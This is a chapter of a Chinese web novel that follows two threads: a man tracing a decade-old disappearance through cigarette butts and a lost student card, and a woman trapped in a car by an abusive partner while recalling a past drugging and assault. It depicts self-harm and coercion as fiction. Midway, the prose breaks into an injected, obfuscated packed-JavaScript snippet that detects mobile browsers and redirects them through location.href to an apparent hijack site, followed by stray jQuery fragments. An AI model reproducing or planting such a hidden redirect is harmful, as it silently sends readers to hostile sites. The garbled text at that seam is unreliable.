雨淹没了他的回答。


    结果无非两种——去过，事件结束了；没去过，线索断了。雨水越来越沉重，砸到肩上。宁师傅撑开鸟网，低眉摇了摇头。那一刻，温霖觉得远处站着一个迟暮的老人。


    也许他没有讲话。他有他的理由，也许他说得已经够多了。


    鸟网在地上铺开，宁师傅卖力弯了腰，把尼龙线卷成便利的形状。网太大，好像怎么都弄不完。温霖披着雨幕往前走。草地化成泥淖，拖着人下陷，他睫毛上挂了水珠，隐约看见雨里浮出第三种答案。


    那名中年人，曾经隔着操场的围网看了看她，然后转身离开。


    ——他什么都没做。


    初三，深秋，封闭集训逐渐迫近，他害怕与师姐断联，特意在信封外加装一层，塞入自己的联系方式。她喜欢推理小说，一定能注意到信里的机关。他竭力捧起心脏等着，今天没消息，还有明天，还有明天的明天……


    ——“所有人保持姿势不动，坚持三十秒！”


    舞蹈教室又空又冷，不得不咬紧牙关，把墙上的日历当作支点。


    二十五，二十六，二十七……


    胶版纸一页页撕掉，那双数着日子的眼睛却逐渐黯淡。


    集训期间，师姐无视了他的信号。回到文学社后，他翻遍书架上的木盒，再也找不到画着红桃K标志的来信。


    她不见了。


    文学社和她同班的学姐都说她半个月没来了。


    才两周，才十四天。如果想，总能找到些线索。可后来他做了什么？


    ——“你疯了吗！”


    新哥破开门冲进卧室，死死攥住他的手腕。


    咣当。美术刀砸向地板。


    锋利的刀尖刻出一道凹陷。阴暗的房间爬满舞蹈演出服，衣柜，床，窗台，桌面，他两眼失焦，用刀片割开每个角落。


    左腕上是掐痕，右手是斑驳的红。


    鲜血顺着腕骨汩汩流淌。


    ——“别管我……”


    他每天伤痕累累地去上学，仅此而已。


    温霖后悔得太晚了。为什么不打听她的下落，不去追查事情的原委？为什么视野那么窄，那么自以为是，执拗地认为那封信出了问题？错了，错得彻底。已经来不及了。十四天的间隔他都亲手放弃了，还指望十年后再假惺惺地大海捞针拼凑真相吗？


    他们其实一样。


    沉溺在自己的悲痛里，什么都没做。


    雨声是鹭山的哭声，这十年间不知道下过多少场雨。


    他颓然抬眼。远处，草木倾斜，树在摇晃，裹着不真切的人影。


    那个中年人把身子折成九十度。他的姿势是一贯的，无论弯腰还是伸手，头都用力埋下去，似乎在向对面的年轻人深深鞠躬。


    温霖目送她的父亲离开。


    山在风雨飘摇中呼啸。最后一段鸟网留在他手心里，绞缠着十年的悔恨。


    线索走到了尽头，他抹开脸上的雨水，望向扯网时折断的树枝。树下积水成坑，嫩绿的新叶被雨点打下来，水中飘着一根熄灭的香烟。


    *


    “这话你都说过多少遍了。”


    “每次我都是认真的。”她说。


    车子拐弯开进郊区。北城东边的远郊，她不常来。天黑了，灯影幢幢，更显得路途陌生。


    “那先解释解释你的心跳。”


    那些一闪而过的光源让她回到心理医生的诊疗室。


    ——“有没有考虑过，心悸可能源于创伤反应？”


    ——“那也是创伤……吗。”


    ——“我们不能百分之百确定。这就像‘吊桥效应’，可能存在一些因素导致你的交感神经出现高反应性……”


    “因为我和你在一起的时候感觉很难受。”宁蓁语速越来越快，“你让我觉得有压力，焦虑，恐惧……你让我不得安宁。”


    胸口异常发热，神经紧绷，心跳快得要跳出来，是身体出现了战斗或逃跑的反应。


    那绝对，不是心动。


    但莫昭不以为意，反而笑了，笑得有些黏稠。


    “压力，焦虑，恐惧。”


    他手指在方向盘上敲着节奏，如数家珍。


    “不都是生存在丛林里必不可少的东西？太安逸只配被当成猎物任人鱼肉，从这方面来说，我还锻炼了你。”


    太阳穴发胀，宁蓁差点吐出来。


    她终于想起自己为什么总是难以反驳莫昭。


    原来她早就失去力气了。反正怎么说他都当作耳旁风，到最后都变成他的胡搅蛮缠，不如沉默。


    沉默，退避，任由一切发生。


    但她不能永远这样下去。


    “在你眼里人是动物吗？”她撇了头，视线悬在后视镜上，“弱肉强食是你的生存法则，可我不想过这种生活。”


    “不想？”


    一个急转弯，几乎能听见轮胎碾过水泥地的刹车声。


    “你知道多少人争抢着要当莫家的太太么？集团千金，财阀大小姐，那群爸妈挤破头要把女儿往我这儿送。她们梦寐以求的位子你不费吹灰之力就得到了，现在你跟我说‘不想’？”


    提及“千金”“大小姐”时，她竟觉得莫昭的语调有几分隐隐的炫耀。他藏得太深了，以至于五年前她完全发现不了。


    五年前……为什么他要在温暖的烛光里提起前女友？


    莫昭向来以成熟通透自居，声称成年人要为一切后果负责。他反过来用这标准要求她，扣下敏感多疑的指责后冷眼旁观，折磨得她心力交瘁。


    那时候宁蓁太年轻。


    她试图阻止方善善对王深的倾慕，实际上自己也犯下了同样的错误。


    十八岁以后的思绪日新月异。那个男人比大学生们多活了几年，自然胜券在握。


    “你……”后视镜里，她的嘴唇僵硬地动了动，“没有拒绝她们。”


    她只是猜测。


    “我凭什么拒绝？”


    车在桥上，底下是深邃的河水。


    “宁蓁，你不会以为这四年我没有别的女人吧。”


    夜色浓稠，化不开。莫昭的冷笑激起一阵阵恶寒。


    “你也不小了，还那么纯情？谁会单恋谁四年——你他妈以为你活在那些垃圾言情小说里啊！”


    宁蓁下意识闭上眼，好像他颈侧暴起的青筋突然破溃，喷出一股毒液。


    似曾相识的窒息感。


    还有什么？


    到底忘了什么？


    腐烂的玫瑰淹过头顶。宁蓁右手贴向车窗，在透明的玻璃上留下指痕。这算是求救吗？可她只能看见天上挂着一轮又大又圆的、猩红的月亮。


    *


    阴冷蔓延。外衣被打湿，他掏出手机，水珠来回滑动，指腹反复擦拭屏幕，勉强解了锁。


    新消息。


    赵安琪一个小时前发的，他差点错过。


    「嗨嗨，我忽然福至心灵，想到上次说的奇怪的事了！」


    她传来一张照片，拍得很模糊，是超市的饮料柜。


    「什么事？」


    他打完字，蹲下，从背包中取出一个滑链密封袋。


    ——“看看你周围，你拿什么和我争？”


    ——“把烟掐了。”


    ——“温霖，你得为今天付出代价。”


    她的前男友用鞋尖碾灭火星，扬长而去。烟扔在草地里，他没放过这个证据，手上套着袋子拾起来——


    水坑里的半截香烟，和塑封袋里的。


    两根，烟卷的圆周与直径皆相似，排在手心里几乎重叠。


    同一个品牌？


    那人抽的烟价值不菲，应该不容易出现同款。为什么如此巧合，偏偏掉在捕鸟网下？


    难道他的目标不只是沐沐……


    叮咚，又有消息提示音。


    「今天路过超市饮料柜，想起我捡过一张校园卡」


    ——“我想找的东西就落在那里，那个公园。”


    北城二中的校庆上，他提起虐鸟案的事发地，引来赵安琪的疑惑。


    ——“这么说的话，的确，我好像顺便捡到过奇奇怪怪的遗失物。”


    「上面都是英文，什么University，具体哪个学校我忘了。名字那栏写着ZhaoMo」


    温霖呼吸一滞。


    时光倒流，十年前，十五岁的女孩怀抱物理试卷小跑着。头上有只鸟叽叽喳喳，唱得很好听，她决定追过去看看，却不小心摔倒在灌木丛里。


    糟糕，卷子洒了一地！风吹着，她急忙收拾，手下摸到几根羽毛，还有一张硬硬的卡片。


    “哎呀，学生卡？Name：ZhaoMo……英文应该倒过来念吧，MoZhao……”


    赵安琪摸摸脑袋，自言自语。


    “魔爪？谁会起这么奇怪的名字啊。”


    倏忽间，鹭山的细雨变作瓢泼大雨。


    竟然……<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15151512|163236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>他得立刻告诉她。现在就打电话，不，不知道她能不能接受。要当面说才行。温霖浑身湿透，飞速拨开眼前的雨水：师姐今天还好吗？最近想不想出去走走，观鸟或者去海边……


    *


    ——“人们说，看见红月亮的时候准没好事。”


    亲手创作的短篇小说竟成了她的谶。


    所有影像愈发遥远。夜空，灯，车牌，兔子摆件，黑巧克力。又是解离症状。引擎的噪音也消退了，意识向上飘，飘到头顶俯瞰着自己。


    车停在河边的草地上。


    她想下去，车门却封死了。


    “想跑？”


    湿淋淋的嗓音爬上耳廓：“不记得了？坐在我副驾驶的人，没有一个能轻易离开。”


    “所以你到底要干什么？”


    思绪在飘，宁蓁竭力拉回注意力。


    莫昭开了顶灯，光线刺眼。一只手探过来，攥紧她心脏一般抚摸她的长发。


    “结婚。”


    他的喉结像上下滚动的铁块，眼里满是狰狞的血丝。


    “你的基因加上我的基因，我们会有个完美的孩子。你可以教她鸟哨……”


    她僵在那儿，双目瞠着，一时来不及回答。


    “你总是这样，蓁蓁。”莫昭一个人演着痛彻心扉的独角戏，“反应太冷，太无聊。谁会觉得你有意思？那个年轻的小网红么？”


    粗重的鼻息打在脸上。说到温霖时，他的五根手指依次插进她的发丝，死死揪住。


    宁蓁被迫仰起头，密密麻麻的痛。


    噌——！


    脑中瞬间划过尖锐的啸叫。


    “我想起来了。”她喃喃道。


    “嗯？”


    “你……”


    酒精藏在甜味里，她不知不觉喝了很多。因为果汁的甜能压下威士忌的辛辣，他十分老道，尤其对这种没沾过酒的乖乖女。


    ——“不好意思，小朋友喝醉了。”


    二十岁的她向下倾倒。男人将她揽进怀里带离酒吧，她迷迷糊糊的，感觉自己一直下坠，下坠，落到很深很深的洞里，最后落到宽阔的大床上。


    “唔……这是哪里？”


    眼皮好沉，每根睫毛都重得像铅。男人更沉，黑压压的铜墙铁壁，扑在她身上。


    “你说呢。”


    他笑，一边低语，一边松开领口和领带。


    “我不知道。”


    她也笑，但她没发现自己在笑。


    男人擅长调情，捏住她的下巴往右侧轻转。床边横着一面镜子，光滑的，长长的，映出他们纠缠的肢体。


    她不能装傻。他的衣服都脱掉一半了，两条腿趴伏着，蜷着，分开来压制着床单。她忽然觉得那姿势好丑。


    “你好像一只牛蛙。”


    她被灌了好几瓶酒，拦不住心里的东西往外漏。


    男人手上一顿，游刃有余的微笑逐渐凝固。


    他审视着女孩的脸，满面醺然，亮晶晶的眼睛噙着醉意。多漂亮，可他全身偾张的血液霎时枯萎，取而代之的是扭曲上涌的怒。


    他掀起那滩长发，给了她一巴掌。


    噌——！


    她开始大喊，尖锐得像划破玻璃，像不间断的警报。


    ——宁蓁想起来了。


    那是……与“爱”截然相反的东西。


    后来莫昭甚至送她安然回家。他没有实施器质性的伤害，却策划了一场漫长的报复。


    直到现在。


    “你恨我。”


    车内，她冰冷地瞪视他。


    对，你恨我。


    但酒精和慢性创伤让我忘掉了恨意的缘由。


    “爱与恨，只有一线之隔。”


    莫昭的蛮劲发泄在她的头发上，只要缠住，宁蓁就无法脱身。


    她第一次觉得长发这么致命。


    “蓁蓁，说你会给我生个孩子……不，应该生两个，三个。”


    他似乎忘情地想象着某些场景。


    “……”


    宁蓁再次阖了眼。


    “在祈祷有谁来救你么。”镜片后面，他的双眸渗出精光，“你猜猜我为什么要开来郊区？”


    她如同潜水一样屏住呼吸。


    “一个害怕人群的人，怎么横穿北城的高峰期？”


    傍晚七点。桥上，车辆川流不息，匆忙归家的时候，没有人会为幽邃的河水停留。


    “认命吧，你永远也逃不掉。永远。”